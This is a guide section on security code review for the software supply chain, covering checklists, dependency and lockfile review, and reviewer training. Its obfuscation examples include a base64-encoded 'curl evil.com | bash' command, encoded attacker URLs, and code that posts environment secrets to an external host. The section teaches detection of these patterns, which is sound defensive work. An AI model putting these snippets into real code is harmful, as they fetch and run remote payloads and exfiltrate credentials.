16.4 Code Review Practices for Security¶

The [2024 XZ Utils backdoor][xz-utils] was the culmination of approximately three years of trust-building commits before the attacker inserted malicious code in February 2024—which was then discovered within weeks by a vigilant developer. The incident demonstrated that while code review is essential, it is not infallible against sophisticated, patient adversaries.

[xz-utils]: https://research.swtch.com/xz-timeline Code review is essential but not infallible. It catches many bugs and some attacks, but determined adversaries can defeat it. Understanding both the power and limitations of code review helps organizations deploy it effectively as one layer in a defense-in-depth strategy.

This section establishes code review as a supply chain security control, with specific practices for reviewing dependency changes, identifying suspicious patterns, and handling the unique challenges of AI-generated code.

Code Review as a Security Control¶

Code review is the process of examining code changes before they're merged, typically by someone other than the author. For security, it serves as a human verification layer.

What Code Review Can Catch:

What Code Review Struggles With:

Research Findings:

Studies on code review effectiveness reveal important limitations:

• Review effectiveness diminishes significantly for changes exceeding 200-400 lines of code
• Familiarity bias: reviewers trust established contributors more
• Human attention degrades with volume and complexity

Adversarial testing of code review processes has shown that reviewers catch intentionally obfuscated malicious code inconsistently, highlighting that code review provides valuable defense-in-depth but cannot be relied upon as the sole security control.

The Dual Role:

Code review works best as both:

1. Detective control: Catching issues before merge
2. Deterrent: Attackers know their code will be examined

The deterrent effect is significant—many attackers choose easier targets when code review is required.

Security-Focused Code Review Checklist¶

Standard code review focuses on functionality and maintainability. Security review requires additional focus areas.

General Security Checklist:

# Security Review Checklist

### Input Handling
- [ ] All external input validated before use
- [ ] Input validation uses allowlists where possible
- [ ] No user input in SQL queries without parameterization
- [ ] No user input in shell commands without sanitization
- [ ] File paths validated against directory traversal

### Authentication & Authorization
- [ ] Auth checks present on all protected endpoints
- [ ] Authorization verifies user can access specific resource
- [ ] Session handling follows security best practices
- [ ] No hardcoded credentials or secrets

### Data Protection
- [ ] Sensitive data not logged
- [ ] Encryption used for sensitive data at rest
- [ ] Secure transmission (TLS) for sensitive data
- [ ] PII handling complies with requirements

### Error Handling
- [ ] Errors don't leak sensitive information
- [ ] Failed operations don't leave system in insecure state
- [ ] Exception handling doesn't swallow security errors

### Dependencies
- [ ] New dependencies justified and vetted
- [ ] Dependency updates reviewed for breaking changes
- [ ] No vendored code without documented source
- [ ] No unexpected dependency version changes

Supply Chain-Specific Checklist:

## Supply Chain Security Review Checklist

### Dependency Changes
- [ ] New dependency addition justified
- [ ] Dependency source verified (official registry)
- [ ] Dependency popularity/maintenance assessed
- [ ] Dependency security history checked
- [ ] Transitive dependencies reviewed
- [ ] Lockfile changes match expected dependency changes

### Build Configuration
- [ ] CI/CD configuration changes reviewed carefully
- [ ] Build scripts don't download/execute remote code
- [ ] No new network calls during build
- [ ] No postinstall scripts without justification

### Suspicious Patterns
- [ ] No obfuscated or minified source code added
- [ ] No binary files without justification
- [ ] No base64/hex encoded strings without explanation
- [ ] No eval() or equivalent dynamic execution
- [ ] No unusual file access patterns

### External Communications
- [ ] No hardcoded URLs to unknown domains
- [ ] Network calls documented and justified
- [ ] No data exfiltration patterns (env vars, files to network)

Reviewing Dependency Additions and Updates¶

Dependency changes deserve special scrutiny—they represent external code entering your supply chain.

New Dependency Review Process:

1. Justify the addition
2. Why is this dependency needed?
3. Can existing dependencies provide this functionality?

4. Can this be implemented without a dependency?

5. Vet the dependency

6. Check maintenance status and community
7. Review security history
8. Assess dependency's own dependencies

9. Verify package integrity

10. Minimize scope

11. Use the most specific import possible
12. Consider tree-shaking and bundle size
13. Evaluate if full package needed vs. subset

Dependency Update Review:

## Dependency Update Review

### For Package: [package-name]
### Version Change: [old] → [new]

### Automated Checks
- [ ] CI/CD pipeline passes
- [ ] Security scanning passes
- [ ] No new vulnerabilities introduced

### Manual Review
- [ ] Changelog reviewed for breaking changes
- [ ] Changelog reviewed for security fixes
- [ ] Version bump type matches changes (major/minor/patch)
- [ ] Source of update verified (legitimate maintainer)

### Lockfile Review
- [ ] Lockfile changes match expected package update
- [ ] No unexpected transitive dependency changes
- [ ] No registry URL changes
- [ ] Integrity hashes present and changed appropriately

Lockfile Review Importance:

Lockfiles (package-lock.json, yarn.lock, Pipfile.lock) contain critical information:

// package-lock.json entry - what to check
{
  "node_modules/lodash": {
    "version": "4.17.21",
    "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
    "integrity": "sha512-v2kDE...",  // Verify this changes appropriately
  }
}

Red Flags in Dependency Changes:

Identifying Obfuscation and Suspicious Patterns¶

Attackers hide malicious code through obfuscation. Reviewers need to recognize these patterns.

Obfuscation Red Flags:

1. Encoded Data:

// Suspicious: Base64 or hex encoded strings
const data = Buffer.from('Y3VybCBodHRwczovL2V2aWwuY29tL3BheWxvYWQgfCBiYXNo', 'base64');

// Suspicious: Character code manipulation
const cmd = String.fromCharCode(99,117,114,108);  // "curl"

2. Dynamic Code Execution:

// Suspicious: eval and equivalents
eval(userInput);
new Function(dynamicCode)();
require('vm').runInContext(code);

// Suspicious: Dynamic require/import
require(variablePath);
import(dynamicModule);

3. Obfuscated Control Flow:

// Suspicious: Unnecessarily complex logic
const a = !![]+!![]+!![];  // Evaluates to 3
const b = [][(!![]+[])[+[]]+([][[]]+[])[!+[]+!![]]];  // Obfuscated

4. Hidden Network Calls:

// Suspicious: URL constructed from parts
const host = 'evil' + '.' + 'com';
const proto = ['h','t','t','p','s'].join('');

// Suspicious: Encoded URLs
const url = atob('aHR0cHM6Ly9ldmlsLmNvbS9wYXlsb2Fk');

5. Environment/Credential Access:

// Suspicious in context: Reading sensitive environment
const token = process.env.NPM_TOKEN;
const key = process.env.AWS_SECRET_ACCESS_KEY;

// Suspicious: Sending data externally
fetch(externalUrl, { body: JSON.stringify(process.env) });

Pattern Recognition Tips:

Organizations report success with automated flagging of suspicious patterns—such as long base64-encoded strings—for manual security review, catching malicious submissions that might otherwise pass unnoticed.

Reviewing AI-Generated Code¶

AI coding assistants generate code that requires different review considerations.

AI Code Review Challenges:

AI-Generated Code Review Checklist:

## AI-Generated Code Review

### Verification
- [ ] All imported packages exist and are legitimate
- [ ] API usage matches current documentation
- [ ] No deprecated functions or patterns
- [ ] Logic verified against requirements (not just "looks right")

### Security
- [ ] No insecure patterns from training data
- [ ] Input validation present where needed
- [ ] Error handling is appropriate
- [ ] No hardcoded values that should be configurable

### Quality
- [ ] Code tested, not just generated
- [ ] Edge cases considered
- [ ] Performance implications understood
- [ ] Maintainability acceptable

Package Hallucination Check:

# Before accepting AI-suggested package import:

# NPM: Verify package exists
npm view suggested-package

# Python: Verify package exists
pip index versions suggested-package

# If package doesn't exist, it may be:
# 1. AI hallucination
# 2. Future typosquatting target

Review Guidance:

1. Verify, don't assume: AI-generated code requires the same scrutiny as human code—more, given hallucination risk
2. Check all imports: Every package import should be verified against official registries
3. Test thoroughly: Generated code often has subtle bugs; test coverage is essential
4. Question patterns: If AI suggests something unusual, investigate rather than accept

Training Reviewers to Spot Supply Chain Risks¶

Effective security review requires trained reviewers.

Training Components:

1. Threat Awareness:

Reviewers should understand: - Common supply chain attack vectors - Real incident case studies - Current attack trends

2. Pattern Recognition:

Train on recognizing: - Obfuscation techniques - Suspicious dependency patterns - Build configuration risks - Social engineering indicators

3. Tool Proficiency:

Reviewers should use: - Diff tools effectively - Security scanning results - Dependency analysis tools - Package registry verification

Training Program Structure:

## Code Review Security Training

### Module 1: Supply Chain Fundamentals (1 hour)
- Supply chain attack overview
- Case studies: XZ Utils, event-stream, SolarWinds
- Attack vectors relevant to code review

### Module 2: Dependency Review (2 hours)
- Evaluating new dependencies
- Reviewing dependency updates
- Lockfile analysis
- Hands-on: Review sample dependency PRs

### Module 3: Pattern Recognition (2 hours)
- Obfuscation techniques
- Suspicious code patterns
- Red flags and indicators
- Hands-on: Identify malicious code samples

### Module 4: Tools and Automation (1 hour)
- Integrating security tools
- Interpreting scan results
- Using analysis aids
- Hands-on: Tool configuration

### Module 5: Practical Exercises (2 hours)
- Review real PRs with planted issues
- Discuss findings and approaches
- Feedback and improvement

### Ongoing: Monthly security review syncs
- New attack techniques
- Lessons from incidents
- Pattern updates

Adversarial Review Exercises:

Periodically test reviewer effectiveness:

1. Submit PRs with intentionally suspicious code
2. Track detection rates
3. Discuss findings (whether caught or missed)
4. Update training based on gaps

Automated Assistance Tools¶

Automation augments human review—it doesn't replace it.

Static Analysis Integration:

# GitHub Actions: Run SAST on PRs
name: Security Analysis
on: [pull_request]

jobs:
  semgrep:
    runs-on: ubuntu-latest
    steps:
      - uses: returntocorp/semgrep-action@v1
        with:
          config: >-
            p/security-audit
            p/secrets
            p/supply-chain

  codeql:
    runs-on: ubuntu-latest
    steps:
      - uses: github/codeql-action/init@v2
      - uses: github/codeql-action/autobuild@v2
      - uses: github/codeql-action/analyze@v2

AI-Powered Review Tools:

Tool Integration Strategy:

PR Submitted
     │
     ▼
┌─────────────────┐
│ Automated Checks│
│ - SAST (Semgrep)│
│ - Secrets scan  │
│ - Dependency    │
│ - Linting       │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ AI Analysis     │
│ - Pattern detect│
│ - Risk scoring  │
│ - Suggestions   │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ Human Review    │
│ - Security focus│
│ - Context aware │
│ - Final decision│
└─────────────────┘

Automation Limitations:

• Tools have false positives and false negatives
• AI tools can be fooled by sophisticated obfuscation
• Automated review cannot understand business context
• Human judgment remains essential for final decisions

Building a Constructive Security Feedback Culture¶

Security review must balance thoroughness with approachability.

The Culture Challenge:

Poor security feedback culture: - Developers avoid security reviewers - Security comments feel like criticism - PRs stall waiting for security approval - Developers work around security process

Good security feedback culture: - Developers seek security input - Security feedback is educational - Reviews are timely and focused - Security is a shared responsibility

Principles for Constructive Feedback:

1. Explain the "Why":

# Bad:
"Don't use eval()"

# Good:
"Using eval() here creates a code injection risk—an attacker 
controlling the input could execute arbitrary code. Consider 
using JSON.parse() for this use case."

2. Offer Alternatives:

# Bad:
"This is insecure, please fix."

# Good:
"This SQL query is vulnerable to injection. Here's how to use 
parameterized queries instead: [example]"

3. Distinguish Severity:

# Use clear severity labels:
🔴 BLOCKING: SQL injection vulnerability - must fix before merge
🟡 SHOULD FIX: Missing input validation - fix before or soon after merge  
🔵 SUGGESTION: Consider using allowlist pattern for better security

4. Acknowledge Good Practices:

# Reinforce positive behavior:
"Great use of parameterized queries here! This prevents SQL injection."
"Thanks for using the secrets manager instead of environment variables."

Building Security Champion Programs:

Distribute security review capability across teams:

## Security Champion Program

### Selection
- One security champion per team
- Interest in security
- Respected by peers

### Training
- Advanced security review training
- Regular security briefings
- Direct line to security team

### Responsibilities
- Primary security reviewer for team
- Security question first-contact
- Escalation path for complex issues

### Recognition
- Acknowledged contribution
- Career development path
- Security community membership

Recommendations¶

For Developers:

1. You should review dependencies like code. When a PR adds or updates dependencies, examine what's changing. Check the package, review the lockfile, understand the impact.

2. You should question unusual patterns. If code looks unnecessarily complex or contains encoded data, ask why. Legitimate complexity should be explainable.

3. You should verify AI suggestions. Every package import from AI should be verified. Test generated code thoroughly—don't assume it's correct.

For Engineering Managers:

1. We recommend investing in reviewer training. Code review effectiveness depends on reviewer skill. Train reviewers on security patterns and supply chain risks.

2. We recommend building review into workflow. Security review shouldn't be a bottleneck. Distribute capability through security champions and reasonable SLAs.

3. We recommend tracking and improving. Measure review effectiveness. Learn from incidents where review missed issues.

For Security Practitioners:

1. We recommend providing constructive feedback. Security review should educate, not just block. Explain risks and offer alternatives.

2. We recommend automating what you can. Use tools to catch common issues automatically. Focus human review on what requires judgment.

3. We recommend accepting imperfection. Code review won't catch everything. Layer it with other controls and continuously improve rather than expecting perfection.

Code review is a powerful but imperfect security control. It works best when reviewers are trained, focused, and supported by automation—and when everyone understands that it's one layer in a defense-in-depth strategy. The goal isn't to catch every possible attack through review alone; it's to make attacks harder, catch what you can, and continuously improve detection capabilities.